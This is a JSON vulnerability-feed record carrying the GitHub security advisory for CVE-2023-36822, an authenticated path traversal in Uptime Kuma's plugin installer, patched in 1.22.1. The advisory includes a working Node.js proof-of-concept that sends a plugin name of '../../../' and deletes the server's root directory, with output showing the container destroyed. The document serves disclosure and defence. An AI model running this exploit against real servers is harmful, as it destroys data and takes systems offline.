{"vuln_id":"CVE-2023-36822","aliases":["GHSA-vr8x-74pm-6vj7"],"description":"Authenticated path traversal via plugin repository name leading to unavailability or data loss","published_at":"2023-07-04T13:03:10Z","modified_at":"2023-07-04T13:03:10Z","first_seen_at":"2026-11-22T13:40:14.920571Z","severity":"medium","severity_source":"ghsa","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","cwe":["CWE-20","CWE-22"],"vendor":null,"product":null,"kev":{"is_kev":false,"date_added":null,"due_date":null,"ransomware":false},"epss":0.01213,"epss_percentile":0.69268,"nvd_status":null,"enriched_at":null,"links":{"nvd":"https://nvd.nist.gov/vuln/detail/CVE-2023-36822"},"matched_alias":null,"items":[{"id":12025,"source":{"id":"gh-uptime-kuma","name":"Uptime Kuma releases + advisories (GitHub louislam/uptime-kuma)"},"title":"GHSA-vr8x-74pm-6vj7 / CVE-2023-36822: Authenticated path traversal via plugin repository name leading to unavailability or data loss","summary":"Authenticated path traversal via plugin repository name leading to unavailability or data loss\n\n### Summary\r\nA path traversal vulnerability via the plugin repository name allows an authenticated attacker to delete files on the server leading to unavailability and potentially data loss.\r\n\r\n### Details\r\nUptime Kuma allows authenticated users to install plugins from an official list of plugins. This feature is currently disabled in the web interface, but the corresponding API endpoints are still available after login.\r\nBefore a plugin is downloaded, the plugin installation directory is checked for existence. If it exists, it's removed before the plugin installation:\r\nhttps://github.com/louislam/uptime-kuma/blob/de74efb2e6601dcbcfed32cddefc4078a80fcb0b/server/plugins-manager.js#L75-L80\r\n\r\nBecause the plugin is not validated against the official list of plugins or sanitized, the check for existence and the removal of the plugin installation directory are prone to path traversal.\r\n\r\n### PoC\r\nIn the PoC below, the plugin name `../../../` (equivalent of `/` in the official Docker image) is checked for existence and subsequently removed.\r\n\r\n1. Start Uptime Kuma: `docker run -d -p 3001:3001 -v uptime-kuma:/app/data --name uptime-kuma louislam/uptime-kuma:1`\r\n2. Create a user using the Uptime Kuma web interface, e.g. user `admin` with password `admin123`\r\n3. Create file `poc.js` with the following content:\r\n```\r\nSERVER = \"ws://localhost:3001\";\r\nUSERNAME = \"admin\";\r\nPASSWORD = \"admin123\";\r\n\r\n\r\nconst { io } = require(\"socket.io-client\");\r\nconst socket = io(SERVER);\r\nconst repo = \"\";\r\nconst name = \"../../../\"; // Equivalent to the root directory in the official Docker image\r\n\r\nsocket.emit(\r\n  \"login\",\r\n  { username: USERNAME, password: PASSWORD, token: \"\" },\r\n  (res) => {\r\n    if (res.ok !== true) console.log(\"Login failed\");\r\n\r\n    console.log(\"Login successful\");\r\n    socket.emit(\"installPlugin\", repo, name, () => {\r\n      console.log(\"Done\");\r\n      socket.close();\r\n    });\r\n  }\r\n);\r\n```\r\n4. Install `socket.io-client`: `npm install socket.io-client`\r\n5. Run the script: `node poc.js`:\r\n```\r\n# node poc.js\r\nLogin successful\r\nDone\r\n```\r\n7. Accessing the web interface or restarting the container won't work any more, because the root directory (`/`) has been removed from the file system:\r\n```\r\n➜  ~ docker exec -it uptime-kuma bash\r\nOCI runtime exec failed: exec failed: unable to start container process: exec: \"bash\": executable file not found in $PATH: unknown\r\n➜  ~ docker restart uptime-kuma\r\nError response from daemon: Cannot restart container uptime-kuma: failed to create task for container: failed to create shim task: OCI runtime create failed: runc create failed: unable to start container process: exec: \"/usr/bin/dumb-init\": stat /usr/bin/dumb-init: no such file or directory: unknown\r\n```\r\n\r\n### Impact\r\nThis vulnerability allows an authenticated attacker to delete files from the server Uptime Kuma is running on.\r\nDepending on which files are deleted, Uptime Kuma or the whole system may become unavailable due to data loss.\r\n\n\nAffected packages: docker:louislam/uptime-kuma, npm:louislam/uptime-kuma\nPatched: louislam/uptime-kuma 1.22.1, louislam/uptime-kuma 1.22.1","url":"https://github.com/louislam/uptime-kuma/security/advisories/GHSA-vr8x-74pm-6vj7","published_at":"2023-07-04T13:03:10Z","updated_at":"2023-07-04T13:03:10Z","fetched_at":"2026-11-22T13:40:14.883740Z","severity":"medium","cvss_score":6.5,"epss":0.01213,"is_kev":false,"has_exploit":false,"kev_due_date":null,"vendor":"louislam","product":"louislam/uptime-kuma","vuln_id":"CVE-2023-36822","vuln_ids":["CVE-2023-36822","GHSA-VR8X-74PM-6VJ7"],"tags":["repo-advisory","docker","npm","CWE-20","CWE-22","security","repo:louislam/uptime-kuma"],"cluster_id":11334,"links":{"self":"https://vulnwatch.ve1ve2.com/api/v1/items/12025","html":"https://vulnwatch.ve1ve2.com/item/12025"}}]}